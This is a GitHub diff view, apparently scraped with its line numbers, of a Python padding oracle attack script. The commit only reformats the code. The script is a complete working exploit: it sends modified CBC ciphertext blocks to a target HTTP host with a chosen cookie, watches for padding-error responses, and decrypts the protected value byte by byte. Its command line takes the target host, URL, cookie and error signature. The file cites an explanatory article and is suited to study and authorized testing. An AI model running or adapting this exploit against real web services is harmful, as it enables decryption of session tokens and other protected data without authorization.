1
1
#! /usr/bin/python
2
2
3
- '''
3
+ """
4
4
Padding Oracle Attack implementation of this article https://not.burntout.org/blog/Padding_Oracle_Attack/
5
5
Check the readme for a full cryptographic explanation
6
6
7
7
Date: 2016
8
- '''
8
+ """
9
9
10
10
import argparse
11
11
import http .client
18
18
####################################
19
19
# CUSTOM YOUR RESPONSE ORACLE HERE #
20
20
####################################
21
- ''' the function you want change to adapte the result to your problem '''
22
- def test_validity (response ,error ):
21
+ """ the function you want change to adapte the result to your problem """
22
+
23
+
24
+ def test_validity (response , error ):
23
25
24
26
try :
25
27
value = int (error )
@@ -34,159 +36,241 @@ def test_validity(response,error):
34
36
return 1
35
37
return 0
36
38
39
+
37
40
################################
38
41
# CUSTOM YOUR ORACLE HTTP HERE #
39
42
################################
40
- def call_oracle (host ,cookie ,url ,post ,method ,up_cipher ):
43
+ def call_oracle (host , cookie , url , post , method , up_cipher ):
41
44
if post :
42
45
params = urlencode ({post })
43
46
else :
44
47
params = urlencode ({})
45
- headers = {"Content-type" : "application/x-www-form-urlencoded" ,"Accept" : "text/plain" , 'Cookie' : cookie }
48
+ headers = {
49
+ "Content-type" : "application/x-www-form-urlencoded" ,
50
+ "Accept" : "text/plain" ,
51
+ "Cookie" : cookie ,
52
+ }
46
53
conn = http .client .HTTPConnection (host )
47
54
conn .request (method , url + up_cipher , params , headers )
48
55
response = conn .getresponse ()
49
56
return conn , response
50
57
58
+
51
59
# the exploit don't need to touch this part
52
60
# split the cipher in len of size_block
53
61
def split_len (seq , length ):
54
- return [seq [i :i + length ] for i in range (0 , len (seq ), length )]
62
+ return [seq [i : i + length ] for i in range (0 , len (seq ), length )]
63
+
64
+
65
+ """ create custom block for the byte we search"""
66
+
55
67
56
- ''' create custom block for the byte we search'''
57
68
def block_search_byte (size_block , i , pos , l ):
58
- hex_char = hex (pos ).split ('0x' )[1 ]
59
- return "00" * (size_block - (i + 1 )) + ("0" if len (hex_char )% 2 != 0 else '' ) + hex_char + '' .join (l )
69
+ hex_char = hex (pos ).split ("0x" )[1 ]
70
+ return (
71
+ "00" * (size_block - (i + 1 ))
72
+ + ("0" if len (hex_char ) % 2 != 0 else "" )
73
+ + hex_char
74
+ + "" .join (l )
75
+ )
76
+
77
+
78
+ """ create custom block for the padding"""
79
+
60
80
61
- ''' create custom block for the padding'''
62
81
def block_padding (size_block , i ):
63
82
l = []
64
- for t in range (0 ,i + 1 ):
65
- l .append (("0" if len (hex (i + 1 ).split ('0x' )[1 ])% 2 != 0 else '' ) + (hex (i + 1 ).split ('0x' )[1 ]))
66
- return "00" * (size_block - (i + 1 )) + '' .join (l )
83
+ for t in range (0 , i + 1 ):
84
+ l .append (
85
+ ("0" if len (hex (i + 1 ).split ("0x" )[1 ]) % 2 != 0 else "" )
86
+ + (hex (i + 1 ).split ("0x" )[1 ])
87
+ )
88
+ return "00" * (size_block - (i + 1 )) + "" .join (l )
89
+
67
90
68
91
def hex_xor (s1 , s2 ):
69
92
b = bytearray ()
70
93
for c1 , c2 in zip (bytes .fromhex (s1 ), cycle (bytes .fromhex (s2 ))):
71
94
b .append (c1 ^ c2 )
72
95
return b .hex ()
73
96
74
- def run (cipher ,size_block ,host ,url ,cookie ,method ,post ,error ):
75
- cipher = cipher .upper ()
76
- found = False
97
+
98
+ def run (cipher , size_block , host , url , cookie , method , post , error ):
99
+ cipher = cipher .upper ()
100
+ found = False
77
101
valide_value = []
78
- result = []
79
- len_block = size_block * 2
102
+ result = []
103
+ len_block = size_block * 2
80
104
cipher_block = split_len (cipher , len_block )
81
105
82
106
if len (cipher_block ) == 1 :
83
107
print ("[-] Abort there is only one block" )
84
- sys .exit ()
85
- #for each cipher_block
86
- for block in reversed (range (1 ,len (cipher_block ))):
108
+ sys .exit ()
109
+ # for each cipher_block
110
+ for block in reversed (range (1 , len (cipher_block ))):
87
111
if len (cipher_block [block ]) != len_block :
88
112
print ("[-] Abort length block doesn't match the size_block" )
89
113
break
90
114
print ("[+] Search value block : " , block , "\n " )
91
- #for each byte of the block
92
- for i in range (0 ,size_block ):
115
+ # for each byte of the block
116
+ for i in range (0 , size_block ):
93
117
# test each byte max 255
94
- for ct_pos in range (0 ,256 ):
118
+ for ct_pos in range (0 , 256 ):
95
119
# 1 xor 1 = 0 or valide padding need to be checked
96
- if ct_pos != i + 1 or (len (valide_value ) > 0 and int (valide_value [- 1 ],16 ) == ct_pos ):
120
+ if ct_pos != i + 1 or (
121
+ len (valide_value ) > 0 and int (valide_value [- 1 ], 16 ) == ct_pos
122
+ ):
97
123
98
- bk = block_search_byte (size_block , i , ct_pos , valide_value )
99
- bp = cipher_block [block - 1 ]
100
- bc = block_padding (size_block , i )
124
+ bk = block_search_byte (size_block , i , ct_pos , valide_value )
125
+ bp = cipher_block [block - 1 ]
126
+ bc = block_padding (size_block , i )
101
127
102
- tmp = hex_xor (bk ,bp )
103
- cb = hex_xor (tmp ,bc ).upper ()
128
+ tmp = hex_xor (bk , bp )
129
+ cb = hex_xor (tmp , bc ).upper ()
104
130
105
- up_cipher = cb + cipher_block [block ]
106
- #time.sleep(0.5)
131
+ up_cipher = cb + cipher_block [block ]
132
+ # time.sleep(0.5)
107
133
108
134
# we call the oracle, our god
109
- connection , response = call_oracle (host ,cookie ,url ,post ,method ,up_cipher )
135
+ connection , response = call_oracle (
136
+ host , cookie , url , post , method , up_cipher
137
+ )
110
138
111
139
if args .verbose == True :
112
- exe = re .findall ('..' , cb )
113
- discover = ('' ).join (exe [size_block - i : size_block ])
114
- current = ( '' ).join (exe [size_block - i - 1 : size_block - i ])
115
- find_me = ( '' ).join (exe [:- i - 1 ])
140
+ exe = re .findall (".." , cb )
141
+ discover = ("" ).join (exe [size_block - i : size_block ])
142
+ current = ( "" ).join (exe [size_block - i - 1 : size_block - i ])
143
+ find_me = ( "" ).join (exe [: - i - 1 ])
116
144
117
- sys .stdout .write ("\r [+] Test [Byte %03i/256 - Block %d ]: \033 [31m%s\033 [33m%s\033 [36m%s\033 [0m" % (ct_pos , block , find_me , current , discover ))
145
+ sys .stdout .write (
146
+ "\r [+] Test [Byte %03i/256 - Block %d ]: \033 [31m%s\033 [33m%s\033 [36m%s\033 [0m"
147
+ % (ct_pos , block , find_me , current , discover )
148
+ )
118
149
sys .stdout .flush ()
119
150
120
- if test_validity (response ,error ):
151
+ if test_validity (response , error ):
121
152
122
153
found = True
123
154
connection .close ()
124
-
155
+
125
156
# data analyse and insert in rigth order
126
- value = re .findall ('..' , bk )
127
- valide_value .insert (0 ,value [size_block - ( i + 1 )])
157
+ value = re .findall (".." , bk )
158
+ valide_value .insert (0 , value [size_block - ( i + 1 )])
128
159
129
160
if args .verbose == True :
130
- print ('' )
161
+ print ("" )
131
162
print ("[+] HTTP " , response .status , response .reason )
132
- print ("[+] Block M_Byte : %s" % bk )
133
- print ("[+] Block C_{i-1}: %s" % bp )
134
- print ("[+] Block Padding: %s" % bc )
135
- print ('' )
136
-
137
- bytes_found = '' .join (valide_value )
138
- if i == 0 and int (bytes_found , 16 ) > size_block and block == len (cipher_block )- 1 :
139
- print ("[-] Error decryption failed the padding is > " + str (size_block ))
163
+ print ("[+] Block M_Byte : %s" % bk )
164
+ print ("[+] Block C_{i-1}: %s" % bp )
165
+ print ("[+] Block Padding: %s" % bc )
166
+ print ("" )
167
+
168
+ bytes_found = "" .join (valide_value )
169
+ if (
170
+ i == 0
171
+ and int (bytes_found , 16 ) > size_block
172
+ and block == len (cipher_block ) - 1
173
+ ):
174
+ print (
175
+ "[-] Error decryption failed the padding is > "
176
+ + str (size_block )
177
+ )
140
178
sys .exit ()
141
179
142
- print ('\033 [36m' + '\033 [1m' + "[+]" + '\033 [0m' + " Found" , i + 1 , "bytes :" , bytes_found )
143
- print ('' )
180
+ print (
181
+ "\033 [36m" + "\033 [1m" + "[+]" + "\033 [0m" + " Found" ,
182
+ i + 1 ,
183
+ "bytes :" ,
184
+ bytes_found ,
185
+ )
186
+ print ("" )
144
187
145
- break
188
+ break
146
189
if found == False :
147
190
# lets say padding is 01 for the last byte of the last block (the padding block)
148
- if len (cipher_block )- 1 == block and i == 0 :
149
- value = re .findall ('..' , bk )
150
- valide_value .insert (0 ,"01" )
191
+ if len (cipher_block ) - 1 == block and i == 0 :
192
+ value = re .findall (".." , bk )
193
+ valide_value .insert (0 , "01" )
151
194
if args .verbose == True :
152
- print ('' )
153
- print ('[-] No padding found, but maybe the padding is length 01 :)' )
154
- print ("[+] Block M_Byte : %s" % bk )
155
- print ("[+] Block C_{i-1}: %s" % bp )
156
- print ("[+] Block Padding: %s" % bc )
157
- print ('' )
158
- bytes_found = '' .join (valide_value )
195
+ print ("" )
196
+ print (
197
+ "[-] No padding found, but maybe the padding is length 01 :)"
198
+ )
199
+ print ("[+] Block M_Byte : %s" % bk )
200
+ print ("[+] Block C_{i-1}: %s" % bp )
201
+ print ("[+] Block Padding: %s" % bc )
202
+ print ("" )
203
+ bytes_found = "" .join (valide_value )
159
204
else :
160
205
print ("\n [-] Error decryption failed" )
161
- result .insert (0 , '' .join (valide_value ))
162
- hex_r = '' .join (result )
206
+ result .insert (0 , "" .join (valide_value ))
207
+ hex_r = "" .join (result )
163
208
print ("[+] Partial Decrypted value (HEX):" , hex_r .upper ())
164
- padding = int (hex_r [len (hex_r )- 2 :len (hex_r )],16 )
165
- print ("[+] Partial Decrypted value (ASCII):" , bytes .fromhex (hex_r [0 :- (padding * 2 )]).decode ())
209
+ padding = int (hex_r [len (hex_r ) - 2 : len (hex_r )], 16 )
210
+ print (
211
+ "[+] Partial Decrypted value (ASCII):" ,
212
+ bytes .fromhex (hex_r [0 : - (padding * 2 )]).decode (),
213
+ )
166
214
sys .exit ()
167
215
found = False
168
216
169
- result .insert (0 , '' .join (valide_value ))
217
+ result .insert (0 , "" .join (valide_value ))
170
218
valide_value = []
171
219
172
- print ('' )
173
- hex_r = '' .join (result )
220
+ print ("" )
221
+ hex_r = "" .join (result )
174
222
print ("[+] Decrypted value (HEX):" , hex_r .upper ())
175
- padding = int (hex_r [len (hex_r )- 2 :len (hex_r )],16 )
176
- print ("[+] Decrypted value (ASCII):" , bytes .fromhex (hex_r [0 :- (padding * 2 )]).decode ())
177
-
178
- if __name__ == '__main__' :
179
-
180
- parser = argparse .ArgumentParser (description = 'Exploit of Padding Oracle Attack' )
181
- parser .add_argument ('-c' , "--cipher" , required = True , help = 'cipher you want to decrypt' )
182
- parser .add_argument ('-l' , '--length_block_cipher' , required = True , type = int , help = 'lenght of a block cipher: 8,16' )
183
- parser .add_argument ("--host" , required = True , help = 'url example: /page=' )
184
- parser .add_argument ('-u' , "--urltarget" , required = True , help = 'url example: /page=' )
185
- parser .add_argument ('--error' , required = True , help = 'Error that oracle give us example: 404,500,200 OR in the dom example: "<h2>Padding Error<h2>"' )
186
- parser .add_argument ('--cookie' , help = 'Cookie example: PHPSESSID=9nnvje7p90b507shfmb94d7' , default = "" )
187
- parser .add_argument ('--method' , help = 'Type methode like POST GET default GET' , default = "GET" )
188
- parser .add_argument ('--post' , help = "POST data example: 'user':'value', 'pass':'value'" , default = "" )
189
- parser .add_argument ('-v' , "--verbose" , help = 'debug mode, you need a large screen' , action = "store_true" )
223
+ padding = int (hex_r [len (hex_r ) - 2 : len (hex_r )], 16 )
224
+ print (
225
+ "[+] Decrypted value (ASCII):" ,
226
+ bytes .fromhex (hex_r [0 : - (padding * 2 )]).decode (),
227
+ )
228
+
229
+
230
+ if __name__ == "__main__" :
231
+
232
+ parser = argparse .ArgumentParser (description = "Exploit of Padding Oracle Attack" )
233
+ parser .add_argument (
234
+ "-c" , "--cipher" , required = True , help = "cipher you want to decrypt"
235
+ )
236
+ parser .add_argument (
237
+ "-l" ,
238
+ "--length_block_cipher" ,
239
+ required = True ,
240
+ type = int ,
241
+ help = "lenght of a block cipher: 8,16" ,
242
+ )
243
+ parser .add_argument ("--host" , required = True , help = "url example: /page=" )
244
+ parser .add_argument ("-u" , "--urltarget" , required = True , help = "url example: /page=" )
245
+ parser .add_argument (
246
+ "--error" ,
247
+ required = True ,
248
+ help = 'Error that oracle give us example: 404,500,200 OR in the dom example: "<h2>Padding Error<h2>"' ,
249
+ )
250
+ parser .add_argument (
251
+ "--cookie" , help = "Cookie example: PHPSESSID=9nnvje7p90b507shfmb94d7" , default = ""
252
+ )
253
+ parser .add_argument (
254
+ "--method" , help = "Type methode like POST GET default GET" , default = "GET"
255
+ )
256
+ parser .add_argument (
257
+ "--post" , help = "POST data example: 'user':'value', 'pass':'value'" , default = ""
258
+ )
259
+ parser .add_argument (
260
+ "-v" ,
261
+ "--verbose" ,
262
+ help = "debug mode, you need a large screen" ,
263
+ action = "store_true" ,
264
+ )
190
265
args = parser .parse_args ()
191
266
192
- run (args .cipher , args .length_block_cipher , args .host , args .urltarget , args .cookie , args .method , args .post , args .error )
267
+ run (
268
+ args .cipher ,
269
+ args .length_block_cipher ,
270
+ args .host ,
271
+ args .urltarget ,
272
+ args .cookie ,
273
+ args .method ,
274
+ args .post ,
275
+ args .error ,
276
+ )
0 commit comments